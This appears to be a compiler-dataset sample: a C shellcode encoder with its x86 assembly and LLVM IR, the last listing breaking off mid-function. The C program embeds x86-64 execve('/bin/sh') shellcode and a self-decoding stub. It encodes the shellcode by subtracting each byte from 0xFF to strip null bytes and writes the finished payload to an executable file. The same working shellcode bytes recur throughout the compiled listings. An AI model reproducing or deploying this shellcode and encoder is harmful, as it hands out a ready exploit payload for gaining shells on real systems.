#define NULL ((void *)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t;
typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1

/* Forward declarations */

/* Type definitions */

/* Variables and functions */
int /*<<< orphan*/ EXIT_FAILURE;
int /*<<< orphan*/ EXIT_SUCCESS;
int MAP_ANONYMOUS;
void *MAP_FAILED;
int MAP_PRIVATE;
int O_CREAT;
int O_EXCL;
int O_RDWR;
int PROT_READ;
int PROT_WRITE;
int S_IRGRP;
int S_IRUSR;
int S_IWGRP;
int S_IWUSR;
int S_IXUSR;
int /*<<< orphan*/ close(int);
int /*<<< orphan*/ errno;
int /*<<< orphan*/ exit(int /*<<< orphan*/);
int /*<<< orphan*/ fprintf(int /*<<< orphan*/, char *, ...);
int /*<<< orphan*/ memcpy(void *, void *, int);
void *mmap(int /*<<< orphan*/ *, int, int, int, int, int /*<<< orphan*/);
int /*<<< orphan*/ munmap(void *, int /*<<< orphan*/);
int open(char *, int, int);
int /*<<< orphan*/ printf(char *, ...);
int /*<<< orphan*/ stderr;
char *strerror(int /*<<< orphan*/);
int strlen(char *);
size_t write(int, char *, size_t);
int main(int argc, char *argv[]) {
  int i, j, fd;
  void *addr;
  char *buf, sbyte, cur;
  size_t num_write, tot_write, tot_size, sc_size;
  tot_size = strlen("\x48\x31\xc0\x48\x31"
                    "\xff\x48\x31\xf6\x48"
                    "\x31\xc9\xb2\xaa\xeb"
                    "\x1c\x5e\x48\x31\xc0"
                    "\xb0\xff\x2a\x04\x0e"
                    "\x48\x31\xd2\x38\xd0"
                    "\x74\x03\x88\x04\x0e"
                    "\x48\xff\xc1\x38\xd1"
                    "\x74\x07\xeb\xe5\xe8"
                    "\xdf\xff\xff\xff") +
             strlen("\xeb\x13\x48\x31\xc0"
                    "\x48\x83\xc0\x3b\x5f"
                    "\x88\x67\x07\x48\x31"
                    "\xf6\x48\x31\xd2\x0f"
                    "\x05\xe8\xe8\xff\xff"
                    "\xff\x2f\x62\x69\x6e"
                    "\x2f\x73\x68\x4e");
  sc_size = strlen("\xeb\x13\x48\x31\xc0"
                   "\x48\x83\xc0\x3b\x5f"
                   "\x88\x67\x07\x48\x31"
                   "\xf6\x48\x31\xd2\x0f"
                   "\x05\xe8\xe8\xff\xff"
                   "\xff\x2f\x62\x69\x6e"
                   "\x2f\x73\x68\x4e");
  sbyte = 13;
  if (argc != 2) {
    fprintf(stderr, "usage: %s out-file\n", argv[0]);
    exit(EXIT_FAILURE);
  }
  fd = open(argv[1], O_CREAT | O_EXCL | O_RDWR,
            S_IRUSR | S_IWUSR | S_IXUSR | S_IRGRP | S_IWGRP);
  if (fd == -1) {
    fprintf(stderr, "Error open(): %s\n", strerror(errno));
    exit(EXIT_FAILURE);
  }
  addr = mmap(NULL, 1024, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE,
              -1, 0);
  if (addr == MAP_FAILED) {
    fprintf(stderr, "mmap() failed\n");
    exit(EXIT_FAILURE);
  }
  memcpy(addr,
         (void *)"\x48\x31\xc0\x48\x31"
                 "\xff\x48\x31\xf6\x48"
                 "\x31\xc9\xb2\xaa\xeb"
                 "\x1c\x5e\x48\x31\xc0"
                 "\xb0\xff\x2a\x04\x0e"
                 "\x48\x31\xd2\x38\xd0"
                 "\x74\x03\x88\x04\x0e"
                 "\x48\xff\xc1\x38\xd1"
                 "\x74\x07\xeb\xe5\xe8"
                 "\xdf\xff\xff\xff",
         strlen("\x48\x31\xc0\x48\x31"
                "\xff\x48\x31\xf6\x48"
                "\x31\xc9\xb2\xaa\xeb"
                "\x1c\x5e\x48\x31\xc0"
                "\xb0\xff\x2a\x04\x0e"
                "\x48\x31\xd2\x38\xd0"
                "\x74\x03\x88\x04\x0e"
                "\x48\xff\xc1\x38\xd1"
                "\x74\x07\xeb\xe5\xe8"
                "\xdf\xff\xff\xff"));
  buf = addr;
  buf[sbyte] = (char)strlen("\xeb\x13\x48\x31\xc0"
                            "\x48\x83\xc0\x3b\x5f"
                            "\x88\x67\x07\x48\x31"
                            "\xf6\x48\x31\xd2\x0f"
                            "\x05\xe8\xe8\xff\xff"
                            "\xff\x2f\x62\x69\x6e"
                            "\x2f\x73\x68\x4e");
  buf = addr;
  buf += strlen("\x48\x31\xc0\x48\x31"
                "\xff\x48\x31\xf6\x48"
                "\x31\xc9\xb2\xaa\xeb"
                "\x1c\x5e\x48\x31\xc0"
                "\xb0\xff\x2a\x04\x0e"
                "\x48\x31\xd2\x38\xd0"
                "\x74\x03\x88\x04\x0e"
                "\x48\xff\xc1\x38\xd1"
                "\x74\x07\xeb\xe5\xe8"
                "\xdf\xff\xff\xff");
  for (i = 0; i < strlen("\xeb\x13\x48\x31\xc0"
                         "\x48\x83\xc0\x3b\x5f"
                         "\x88\x67\x07\x48\x31"
                         "\xf6\x48\x31\xd2\x0f"
                         "\x05\xe8\xe8\xff\xff"
                         "\xff\x2f\x62\x69\x6e"
                         "\x2f\x73\x68\x4e");
       i++) {
    cur = 0xFF - (char)"\xeb\x13\x48\x31\xc0"
                       "\x48\x83\xc0\x3b\x5f"
                       "\x88\x67\x07\x48\x31"
                       "\xf6\x48\x31\xd2\x0f"
                       "\x05\xe8\xe8\xff\xff"
                       "\xff\x2f\x62\x69\x6e"
                       "\x2f\x73\x68\x4e"[i];
    if (cur == '\0')
      cur = 0xFF;
    buf[i] = cur;
  }
  buf = addr;
  for (tot_write = 0; tot_write < tot_size;) {
    num_write = write(fd, buf, tot_size - tot_write);
    tot_write += num_write;
  }
  buf = addr;
  j = 15;
  for (i = 0; i < tot_size; i++) {
    if (j >= 15) {
      printf("\"\n");
      printf("\t\"");
      j = 0;
    }
    ++j;
    printf("\\x%02x", ((unsigned char *)buf)[i]);
  }
  printf("\";\n\n");
  printf("Shellcode size: %d\n", tot_size);
  close(fd);
  munmap(addr, 0);
  exit(EXIT_SUCCESS);
}


x86 assembly (clang, -O0):
<main>:
push   %rbp
mov    %rsp,%rbp
sub    $0x70,%rsp
movl   $0x0,-0x4(%rbp)
mov    %edi,-0x8(%rbp)
mov    %rsi,-0x10(%rbp)
lea    0xe33(%rip),%rdi
call   1040 <strlen@plt>
mov    %eax,-0x5c(%rbp)
lea    0xe56(%rip),%rdi
call   1040 <strlen@plt>
mov    %eax,%ecx
mov    -0x5c(%rbp),%eax
add    %ecx,%eax
cltq
mov    %rax,-0x50(%rbp)
lea    0xe3d(%rip),%rdi
call   1040 <strlen@plt>
cltq
mov    %rax,-0x58(%rbp)
movb   $0xd,-0x31(%rbp)
cmpl   $0x2,-0x8(%rbp)
je     123a <main+0x8a>
mov    0x2d93(%rip),%rax
mov    (%rax),%edi
mov    -0x10(%rbp),%rax
mov    (%rax),%rdx
lea    0xe30(%rip),%rsi
mov    $0x0,%al
call   1080 <fprintf@plt>
mov    0x2d55(%rip),%rax
mov    (%rax),%edi
call   10c0 <exit@plt>
mov    -0x10(%rbp),%rax
mov    0x8(%rax),%rdi
mov    0x2daf(%rip),%rax
mov    (%rax),%esi
mov    0x2d4e(%rip),%rax
or     (%rax),%esi
mov    0x2d7d(%rip),%rax
or     (%rax),%esi
mov    0x2d14(%rip),%rax
mov    (%rax),%edx
mov    0x2d53(%rip),%rax
or     (%rax),%edx
mov    0x2d5a(%rip),%rax
or     (%rax),%edx
mov    0x2d11(%rip),%rax
or     (%rax),%edx
mov    0x2d40(%rip),%rax
or     (%rax),%edx
call   10b0 <open@plt>
mov    %eax,-0x1c(%rbp)
cmpl   $0xffffffff,-0x1c(%rbp)
jne    12d8 <main+0x128>
mov    0x2d05(%rip),%rax
mov    (%rax),%eax
mov    %eax,-0x60(%rbp)
mov    0x2ce9(%rip),%rax
mov    (%rax),%edi
call   10d0 <strerror@plt>
mov    -0x60(%rbp),%edi
mov    %rax,%rdx
lea    0xda6(%rip),%rsi
mov    $0x0,%al
call   1080 <fprintf@plt>
mov    0x2cb7(%rip),%rax
mov    (%rax),%edi
call   10c0 <exit@plt>
mov    0x2d11(%rip),%rax
mov    (%rax),%edx
mov    0x2c98(%rip),%rax
or     (%rax),%edx
mov    0x2cc7(%rip),%rax
mov    (%rax),%ecx
mov    0x2c6e(%rip),%rax
or     (%rax),%ecx
xor    %eax,%eax
mov    %eax,%edi
mov    $0x400,%esi
mov    $0xffffffff,%r8d
xor    %r9d,%r9d
call   1050 <mmap@plt>
mov    %rax,-0x28(%rbp)
mov    -0x28(%rbp),%rax
mov    0x2c3e(%rip),%rcx
cmp    (%rcx),%rax
jne    1350 <main+0x1a0>
mov    0x2c76(%rip),%rax
mov    (%rax),%edi
lea    0xd40(%rip),%rsi
mov    $0x0,%al
call   1080 <fprintf@plt>
mov    0x2c3f(%rip),%rax
mov    (%rax),%edi
call   10c0 <exit@plt>
mov    -0x28(%rbp),%rax
mov    %rax,-0x68(%rbp)
lea    0xca1(%rip),%rdi
call   1040 <strlen@plt>
mov    -0x68(%rbp),%rdi
mov    %eax,%edx
lea    0xc8f(%rip),%rsi
call   1090 <memcpy@plt>
mov    -0x28(%rbp),%rax
mov    %rax,-0x30(%rbp)
lea    0xcad(%rip),%rdi
call   1040 <strlen@plt>
mov    %al,%dl
mov    -0x30(%rbp),%rax
movsbq -0x31(%rbp),%rcx
mov    %dl,(%rax,%rcx,1)
mov    -0x28(%rbp),%rax
mov    %rax,-0x30(%rbp)
lea    0xc59(%rip),%rdi
call   1040 <strlen@plt>
mov    %eax,%ecx
mov    -0x30(%rbp),%rax
movslq %ecx,%rcx
add    %rcx,%rax
mov    %rax,-0x30(%rbp)
movl   $0x0,-0x14(%rbp)
mov    -0x14(%rbp),%eax
mov    %eax,-0x6c(%rbp)
lea    0xc62(%rip),%rdi
call   1040 <strlen@plt>
mov    %eax,%ecx
mov    -0x6c(%rbp),%eax
cmp    %ecx,%eax
jge    1428 <main+0x278>
movslq -0x14(%rbp),%rcx
lea    0xc45(%rip),%rax
movsbl (%rax,%rcx,1),%ecx
mov    $0xff,%eax
sub    %ecx,%eax
mov    %al,-0x32(%rbp)
movsbl -0x32(%rbp),%eax
cmp    $0x0,%eax
jne    140c <main+0x25c>
movb   $0xff,-0x32(%rbp)
mov    -0x32(%rbp),%dl
mov    -0x30(%rbp),%rax
movslq -0x14(%rbp),%rcx
mov    %dl,(%rax,%rcx,1)
mov    -0x14(%rbp),%eax
add    $0x1,%eax
mov    %eax,-0x14(%rbp)
jmp    13c3 <main+0x213>
mov    -0x28(%rbp),%rax
mov    %rax,-0x30(%rbp)
movq   $0x0,-0x48(%rbp)
mov    -0x48(%rbp),%rax
cmp    -0x50(%rbp),%rax
jae    146f <main+0x2bf>
mov    -0x1c(%rbp),%edi
mov    -0x30(%rbp),%rsi
mov    -0x50(%rbp),%rdx
sub    -0x48(%rbp),%rdx
call   1030 <write@plt>
mov    %rax,-0x40(%rbp)
mov    -0x40(%rbp),%rax
add    -0x48(%rbp),%rax
mov    %rax,-0x48(%rbp)
jmp    1438 <main+0x288>
mov    -0x28(%rbp),%rax
mov    %rax,-0x30(%rbp)
movl   $0xf,-0x18(%rbp)
movl   $0x0,-0x14(%rbp)
movslq -0x14(%rbp),%rax
cmp    -0x50(%rbp),%rax
jae    14f1 <main+0x341>
cmpl   $0xf,-0x18(%rbp)
jl     14c0 <main+0x310>
lea    0xbe6(%rip),%rdi
mov    $0x0,%al
call   1060 <printf@plt>
lea    0xbdb(%rip),%rdi
mov    $0x0,%al
call   1060 <printf@plt>
movl   $0x0,-0x18(%rbp)
mov    -0x18(%rbp),%eax
add    $0x1,%eax
mov    %eax,-0x18(%rbp)
mov    -0x30(%rbp),%rax
movslq -0x14(%rbp),%rcx
movzbl (%rax,%rcx,1),%esi
lea    0xbb4(%rip),%rdi
mov    $0x0,%al
call   1060 <printf@plt>
mov    -0x14(%rbp),%eax
add    $0x1,%eax
mov    %eax,-0x14(%rbp)
jmp    1485 <main+0x2d5>
lea    0xb9f(%rip),%rdi
mov    $0x0,%al
call   1060 <printf@plt>
mov    -0x50(%rbp),%rsi
lea    0xb92(%rip),%rdi
mov    $0x0,%al
call   1060 <printf@plt>
mov    -0x1c(%rbp),%edi
call   1070 <close@plt>
mov    -0x28(%rbp),%rdi
xor    %esi,%esi
call   10a0 <munmap@plt>
mov    0x2a45(%rip),%rax
mov    (%rax),%edi
call   10c0 <exit@plt>

x86 assembly (clang, -O2):
<main>:
push   %rbp
push   %r15
push   %r14
push   %r13
push   %r12
push   %rbx
push   %rax
mov    %rsi,%r15
mov    %edi,%ebp
lea    0xe29(%rip),%rdi
call   1050 <strlen@plt>
mov    %eax,%r12d
lea    0xe4c(%rip),%rbx
mov    %rbx,%rdi
call   1050 <strlen@plt>
mov    %eax,%r14d
mov    %rbx,%rdi
call   1050 <strlen@plt>
cmp    $0x2,%ebp
jne    1279 <main+0xb9>
mov    0x2df3(%rip),%rax
mov    0x2d94(%rip),%rcx
mov    (%rcx),%esi
or     (%rax),%esi
mov    0x2dc1(%rip),%rax
or     (%rax),%esi
mov    0x2d58(%rip),%rax
mov    0x2d99(%rip),%rcx
mov    (%rcx),%edx
or     (%rax),%edx
mov    0x2d9e(%rip),%rax
or     (%rax),%edx
mov    0x2d55(%rip),%rax
or     (%rax),%edx
mov    0x8(%r15),%rdi
mov    0x2d80(%rip),%rax
or     (%rax),%edx
call   10c0 <open@plt>
cmp    $0xffffffff,%eax
jne    12a1 <main+0xe1>
mov    0x2d4d(%rip),%rax
mov    (%rax),%ebx
mov    0x2d34(%rip),%rax
mov    (%rax),%edi
call   10e0 <strerror@plt>
lea    0xdf7(%rip),%rsi
mov    %ebx,%edi
mov    %rax,%rdx
jmp    128c <main+0xcc>
mov    0x2d28(%rip),%rax
mov    (%rax),%edi
mov    (%r15),%rdx
lea    0xdc9(%rip),%rsi
xor    %eax,%eax
call   1090 <fprintf@plt>
mov    0x2cee(%rip),%rax
mov    (%rax),%edi
call   10d0 <exit@plt>
mov    %eax,%ebx
mov    0x2d46(%rip),%rax
mov    0x2ccf(%rip),%rcx
mov    (%rcx),%edx
or     (%rax),%edx
mov    0x2cfc(%rip),%rax
mov    0x2ca5(%rip),%rcx
mov    (%rcx),%ecx
or     (%rax),%ecx
xor    %edi,%edi
mov    $0x400,%esi
mov    $0xffffffff,%r8d
xor    %r9d,%r9d
call   1060 <mmap@plt>
mov    %rax,%r15
mov    0x2c7a(%rip),%rax
cmp    (%rax),%r15
jne    1304 <main+0x144>
mov    0x2cb6(%rip),%rax
mov    (%rax),%edi
lea    0xd80(%rip),%rsi
xor    %eax,%eax
call   1090 <fprintf@plt>
jmp    1293 <main+0xd3>
mov    %ebx,0x4(%rsp)
add    %r12d,%r14d
lea    0xcee(%rip),%r12
mov    %r12,%rdi
call   1050 <strlen@plt>
mov    %r15,%rdi
mov    %r12,%rsi
mov    %eax,%edx
call   10a0 <memcpy@plt>
lea    0xd04(%rip),%r13
mov    %r13,%rdi
call   1050 <strlen@plt>
mov    %al,0xd(%r15)
mov    %r12,%rdi
call   1050 <strlen@plt>
mov    %eax,%r12d
mov    %r13,%rdi
call   1050 <strlen@plt>
test   %eax,%eax
jle    139d <main+0x1dd>
movslq %r12d,%rax
mov    %r15,%rbx
add    %rax,%rbx
xor    %ebp,%ebp
mov    $0xff,%r12d
cs nopw 0x0(%rax,%rax,1)
nopl   0x0(%rax)
movzbl 0x0(%rbp,%r13,1),%eax
not    %al
lea    -0x17(%rbp),%rcx
cmp    $0x3,%rcx
movzbl %al,%eax
cmovb  %r12d,%eax
mov    %al,(%rbx,%rbp,1)
add    $0x1,%rbp
mov    %r13,%rdi
call   1050 <strlen@plt>
cltq
cmp    %rax,%rbp
jl     1370 <main+0x1b0>
mov    %r14d,%r12d
movslq %r14d,%r14
test   %r12d,%r12d
je     13cd <main+0x20d>
xor    %ebx,%ebx
mov    0x4(%rsp),%ebp
xchg   %ax,%ax
mov    %r14,%rdx
sub    %rbx,%rdx
mov    %ebp,%edi
mov    %r15,%rsi
call   1040 <write@plt>
add    %rax,%rbx
cmp    %r14,%rbx
jb     13b0 <main+0x1f0>
test   %r12d,%r12d
jne    140b <main+0x24b>
lea    0xcd4(%rip),%rdi
call   1030 <puts@plt>
lea    0xcb4(%rip),%rdi
mov    %r14,%rsi
xor    %eax,%eax
call   1070 <printf@plt>
mov    0x4(%rsp),%edi
call   1080 <close@plt>
mov    %r15,%rdi
xor    %esi,%esi
call   10b0 <munmap@plt>
mov    0x2b6c(%rip),%rax
mov    (%rax),%edi
call   10d0 <exit@plt>
cmp    $0x2,%r14
mov    $0x1,%ebx
cmovae %r14,%rbx
mov    $0xf,%r13d
lea    0xc66(%rip),%rbp
xor    %r12d,%r12d
jmp    1454 <main+0x294>
nopw   0x0(%rax,%rax,1)
add    $0x1,%r13d
movzbl (%r15,%r12,1),%esi
lea    0xc4d(%rip),%rdi
xor    %eax,%eax
call   1070 <printf@plt>
add    $0x1,%r12
cmp    %r12,%rbx
je     13cd <main+0x20d>
cmp    $0xf,%r13d
jl     1430 <main+0x270>
mov    %rbp,%rdi
call   1030 <puts@plt>
xor    %r13d,%r13d
lea    0xc1e(%rip),%rdi
xor    %eax,%eax
call   1070 <printf@plt>
jmp    1430 <main+0x270>

LLVM IR (-O0):
@.str = [50 x i8] c"H1\C0H1\FFH1\F6H1\C9\B2\AA\EB\1C^H1\C0\B0\FF*\04\0EH1\D28\D0t\03\88\04\0EH\FF\C18\D1t\07\EB\E5\E8\DF\FF\FF\FF\00"
@.str.1 = [35 x i8] c"\EB\13H1\C0H\83\C0;_\88g\07H1\F6H1\D2\0F\05\E8\E8\FF\FF\FF/bin/shN\00"
@stderr = global i32 0
@.str.2 = [20 x i8] c"usage: %s out-file\0A\00"
@EXIT_FAILURE = global i32 0
@O_CREAT = global i32 0
@O_EXCL = global i32 0
@O_RDWR = global i32 0
@S_IRUSR = global i32 0
@S_IWUSR = global i32 0
@S_IXUSR = global i32 0
@S_IRGRP = global i32 0
@S_IWGRP = global i32 0
@.str.3 = [18 x i8] c"Error open(): %s\0A\00"
@errno = global i32 0
@PROT_READ = global i32 0
@PROT_WRITE = global i32 0
@MAP_ANONYMOUS = global i32 0
@MAP_PRIVATE = global i32 0
@MAP_FAILED = global i8* null
@.str.4 = [15 x i8] c"mmap() failed\0A\00"
@.str.5 = [3 x i8] c"\22\0A\00"
@.str.6 = [3 x i8] c"\09\22\00"
@.str.7 = [7 x i8] c"\\x%02x\00"
@.str.8 = [5 x i8] c"\22;\0A\0A\00"
@.str.9 = [20 x i8] c"Shellcode size: %d\0A\00"
@EXIT_SUCCESS = global i32 0
define i32 @main(i32 %0, i8** %1) {
%3 = alloca i32
%4 = alloca i32
%5 = alloca i8**
%6 = alloca i32
%7 = alloca i32
%8 = alloca i32
%9 = alloca i8*
%10 = alloca i8*
%11 = alloca i8
%12 = alloca i8
%13 = alloca i64
%14 = alloca i64
%15 = alloca i64
%16 = alloca i64
store i32 0, i32* %3
store i32 %0, i32* %4
store i8** %1, i8*** %5
%17 = call i32 @strlen(i8* getelementptr inbounds ([50 x i8], [50 x i8]* @.str, i64 0, i64 0))
%18 = call i32 @strlen(i8* getelementptr inbounds ([35 x i8], [35 x i8]* @.str.1, i64 0, i64 0))
%19 = add nsw i32 %17, %18
%20 = sext i32 %19 to i64
store i64 %20, i64* %15
%21 = call i32 @strlen(i8* getelementptr inbounds ([35 x i8], [35 x i8]* @.str.1, i64 0, i64 0))
%22 = sext i32 %21 to i64
store i64 %22, i64* %16
store i8 13, i8* %11
%23 = load i32, i32* %4
%24 = icmp ne i32 %23, 2
br i1 %24, label %25, label %33
25: ; preds = %2
%26 = load i32, i32* @stderr
%27 = load i8**, i8*** %5
%28 = getelementptr inbounds i8*, i8** %27, i64 0
%29 = load i8*, i8** %28
%30 = call i32 (i32, i8*, ...) @fprintf(i32 %26, i8* getelementptr inbounds ([20 x i8], [20 x i8]* @.str.2, i64 0, i64 0), i8* %29)
%31 = load i32, i32* @EXIT_FAILURE
%32 = call i32 @exit(i32 %31)
unreachable
33: ; preds = %2
%34 = load i8**, i8*** %5
%35 = getelementptr inbounds i8*, i8** %34, i64 1
%36 = load i8*, i8** %35
%37 = load i32, i32* @O_CREAT
%38 = load i32, i32* @O_EXCL
%39 = or i32 %37, %38
%40 = load i32, i32* @O_RDWR
%41 = or i32 %39, %40
%42 = load i32, i32* @S_IRUSR
%43 = load i32, i32* @S_IWUSR
%44 = or i32 %42, %43
%45 = load i32, i32* @S_IXUSR
%46 = or i32 %44, %45
%47 = load i32, i32* @S_IRGRP
%48 = or i32 %46, %47
%49 = load i32, i32* @S_IWGRP
%50 = or i32 %48, %49
%51 = call i32 @open(i8* %36, i32 %41, i32 %50)
store i32 %51, i32* %8
%52 = load i32, i32* %8
%53 = icmp eq i32 %52, -1
br i1 %53, label %54, label %61
54: ; preds = %33
%55 = load i32, i32* @stderr
%56 = load i32, i32* @errno
%57 = call i8* @strerror(i32 %56)
%58 = call i32 (i32, i8*, ...) @fprintf(i32 %55, i8* getelementptr inbounds ([18 x i8], [18 x i8]* @.str.3, i64 0, i64 0), i8* %57)
%59 = load i32, i32* @EXIT_FAILURE
%60 = call i32 @exit(i32 %59)
unreachable
61: ; preds = %33
%62 = load i32, i32* @PROT_READ
%63 = load i32, i32* @PROT_WRITE
%64 = or i32 %62, %63
%65 = load i32, i32* @MAP_ANONYMOUS
%66 = load i32, i32* @MAP_PRIVATE
%67 = or i32 %65, %66
%68 = call i8* @mmap(i32* null, i32 1024, i32 %64, i32 %67, i32 -1, i32 0)
store i8* %68, i8** %9
%69 = load i8*, i8** %9
%70 = load i8*, i8** @MAP_FAILED
%71 = icmp eq i8* %69, %70
br i1 %71, label %72, label %77
72: ; preds = %61
%73 = load i32, i32* @stderr
%74 = call i32 (i32, i8*, ...) @fprintf(i32 %73, i8* getelementptr inbounds ([15 x i8], [15 x i8]* @.str.4, i64 0, i64 0))
%75 = load i32, i32* @EXIT_FAILURE
%76 = call i32 @exit(i32 %75)
unreachable
77: ; preds = %61
%78 = load i8*, i8** %9
%79 = call i32 @strlen(i8* getelementptr inbounds ([50 x i8], [50 x i8]* @.str, i64 0, i64 0))
%80 = call i32 @memcpy(i8* %78, i8* getelementptr inbounds ([50 x i8], [50 x i8]* @.str, i64 0, i64 0), i32 %79)
%81 = load i8*, i8** %9
store i8* %81, i8** %10
%82 = call i32 @strlen(i8* getelementptr inbounds ([35 x i8], [35 x i8]* @.str.1, i64 0, i64 0))
%83 = trunc i32 %82 to i8
%84 = load i8*, i8** %10
%85 = load i8, i8* %11
%86 = sext i8 %85 to i64
%87 = getelementptr inbounds i8, i8* %84, i64 %86
store i8 %83, i8* %87
%88 = load i8*, i8** %9
store i8* %88, i8** %10
%89 = call i32 @strlen(i8* getelementptr inbounds ([50 x i8], [50 x i8]* @.str, i64 0, i64 0))
%90 = load i8*, i8** %10
%91 = sext i32 %89 to i64
%92 = getelementptr inbounds i8, i8* %90, i64 %91
store i8* %92, i8** %10
store i32 0, i32* %6
br label %93
93: ; preds = %115, %77
%94 = load i32, i32* %6
%95 = call i32 @strlen(i8* getelementptr inbounds ([35 x i8], [35 x i8]* @.str.1, i64 0, i64 0))
%96 = icmp slt i32 %94, %95
br i1 %96, label %97, label %118
97: ; preds = %93
%98 = load i32, i32* %6
%99 = sext i32 %98 to i64
%100 = getelementptr inbounds [35 x i8], [35 x i8]* @.str.1, i64 0, i64 %99
%101 = load i8, i8* %100
%102 = sext i8 %101 to i32
%103 = sub nsw i32 255, %102
%104 = trunc i32 %103 to i8
store i8 %104, i8* %12
%105 = load i8, i8* %12
%106 = sext i8 %105 to i32
%107 = icmp eq i32 %106, 0
br i1 %107, label %108, label %109
108: ; preds = %97
store i8 -1, i8* %12
br label %109
109: ; preds = %108, %97
%110 = load i8, i8* %12
%111 = load i8*, i8** %10
%112 = load i32, i32* %6
%113 = sext i32 %112 to i64
%114 = getelementptr inbounds i8, i8* %111, i64 %113
store i8 %110, i8* %114
br label %115
115: ; preds = %109
%116 = load i32, i32* %6
%117 = add nsw i32 %116, 1
store i32 %117, i32* %6
br label %93
118: ; preds = %93
%119 = load i8*, i8** %9
store i8* %119, i8** %10
store i64 0, i64* %14
br label %120
120: ; preds = %124, %118
%121 = load i64, i64* %14
%122 = load i64, i64* %15
%123 = icmp ult i64 %121, %122
br i1 %123, label %124, label %134
124: ; preds = %120
%125 = load i32, i32* %8
%126 = load i8*, i8** %10
%127 = load i64, i64* %15
%128 = load i64, i64* %14
%129 = sub i64 %127, %128
%130 = call i64 @write(i32 %125, i8* %126, i64 %129)
store i64 %130, i64* %13
%131 = load i64, i64* %13
%132 = load i64, i64* %14
%133 = add i64 %132, %131
store i64 %133, i64* %14
br label %120
134: ; preds = %120
%135 = load i8*, i8** %9
store i8* %135, i8** %10
store i32 15, i32* %7
store i32 0, i32* %6
br label %136
136: ; preds = %157, %134
%137 = load i32, i32* %6
%138 = sext i32 %137 to i64
%139 = load i64, i64* %15
%140 = icmp ult i64 %138, %139
br i1 %140, label %141, label %160
141: ; preds = %136
%142 = load i32, i32* %7
%143 = icmp sge i32 %142, 15
br i1 %143, label %144, label %147
144: ; preds = %141
%145 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([3 x i8], [3 x i8]* @.str.5, i64 0, i64 0))
%146 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([3 x i8], [3 x i8]* @.str.6, i64 0, i64 0))
store i32 0, i32* %7
br label %147
147: ; preds = %144, %141
%148 = load i32, i32* %7
%149 = add nsw i32 %148, 1
store i32 %149, i32* %7
%150 = load i8*, i8** %10
%151 = load i32, i32* %6
%152 = sext i32 %151 to i64
%153 = getelementptr inbounds i8, i8* %150, i64 %152
%154 = load i8, i8* %153
%155 = zext i8 %154 to i32
%156 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([7 x i8], [7 x i8]* @.str.7, i64 0, i64 0), i32 %155)
br label %157
157: ; preds = %147
%158 = load i32, i32* %6
%159 = add nsw i32 %158, 1
store i32 %159, i32* %6
br label %136
160: ; preds = %136
%161 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([5 x i8], [5 x i8]* @.str.8, i64 0, i64 0))
%162 = load i64, i64* %15
%163 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([20 x i8], [20 x i8]* @.str.9, i64 0, i64 0), i64 %162)
%164 = load i32, i32* %8
%165 = call i32 @close(i32 %164)
%166 = load i8*, i8** %9
%167 = call i32 @munmap(i8* %166, i32 0)
%168 = load i32, i32* @EXIT_SUCCESS
%169 = call i32 @exit(i32 %168)
unreachable
}

LLVM IR (-O2):
@.str = [50 x i8] c"H1\C0H1\FFH1\F6H1\C9\B2\AA\EB\1C^H1\C0\B0\FF*\04\0EH1\D28\D0t\03\88\04\0EH\FF\C18\D1t\07\EB\E5\E8\DF\FF\FF\FF\00"
@.str.1 = [35 x i8] c"\EB\13H1\C0H\83\C0;_\88g\07H1\F6H1\D2\0F\05\E8\E8\FF\FF\FF/bin/shN\00"
@stderr = global i32 0
@.str.2 = [20 x i8] c"usage: %s out-file\0A\00"
@EXIT_FAILURE = global i32 0
@O_CREAT = global i32 0
@O_EXCL = global i32 0
@O_RDWR = global i32 0
@S_IRUSR = global i32 0
@S_IWUSR = global i32 0
@S_IXUSR = global i32 0
@S_IRGRP = global i32 0
@S_IWGRP = global i32 0
@.str.3 = [18 x i8] c"Error open(): %s\0A\00"
@errno = global i32 0
@PROT_READ = global i32 0
@PROT_WRITE = global i32 0
@MAP_ANONYMOUS = global i32 0
@MAP_PRIVATE = global i32 0
@MAP_FAILED = global i8* null
@.str.4 = [15 x i8] c"mmap() failed\0A\00"
@.str.6 = [3 x i8] c"\09\22\00"
@.str.7 = [7 x i8] c"\\x%02x\00"
@.str.9 = [20 x i8] c"Shellcode size: %d\0A\00"
@EXIT_SUCCESS = global i32 0
@str = [4 x i8] c"\22;\0A\00"
@str.10 = [2 x i8] c"\22\00"
define i32 @main(i32 %0, i8** nocapture %1) {
%3 = tail call i32 @strlen(i8* getelementptr inbounds ([50 x i8], [50 x i8]* @.str, i64 0, i64 0))
%4 = tail call i32 @strlen(i8* getelementptr inbounds ([35 x i8], [35 x i8]* @.str.1, i64 0, i64 0))
%5 = add nsw i32 %4, %3
%6 = sext i32 %5 to i64
%7 = tail call i32 @strlen(i8* getelementptr inbounds ([35 x i8], [35 x i8]* @.str.1, i64 0, i64 0))
%8 = icmp eq i32 %0, 2
br i1 %8, label %15, label %9
9: ; preds = %2
%10 = load i32, i32* @stderr
%11 = load i8*, i8** %1
%12 = tail call i32 (i32, i8*, ...) @fprintf(i32 %10, i8* getelementptr inbounds ([20 x i8], [20 x i8]* @.str.2, i64 0, i64 0), i8* %11)
%13 = load i32, i32* @EXIT_FAILURE
%14 = tail call i32 @exit(i32 %13)
unreachable
15: ; preds = %2
%16 = getelementptr inbounds i8*, i8** %1, i64 1
%17 = load i8*, i8** %16
%18 = load i32, i32* @O_CREAT
%19 = load i32, i32* @O_EXCL
%20 = or i32 %19, %18
%21 = load i32, i32* @O_RDWR
%22 = or i32 %20, %21
%23 = load i32, i32* @S_IRUSR
%24 = load i32, i32* @S_IWUSR
%25 = or i32 %24, %23
%26 = load i32, i32* @S_IXUSR
%27 = or i32 %25, %26
%28 = load i32, i32* @S_IRGRP
%29 = or i32 %27, %28
%30 = load i32, i32* @S_IWGRP
%31 = or i32 %29, %30
%32 = tail call i32 @open(i8* %17, i32 %22, i32 %31)
%33 = icmp eq i32 %32, -1
br i1 %33, label %34, label %41
34: ; preds = %15
%35 = load i32, i32* @stderr
%36 = load i32, i32* @errno
%37 = tail call i8* @strerror(i32 %36)
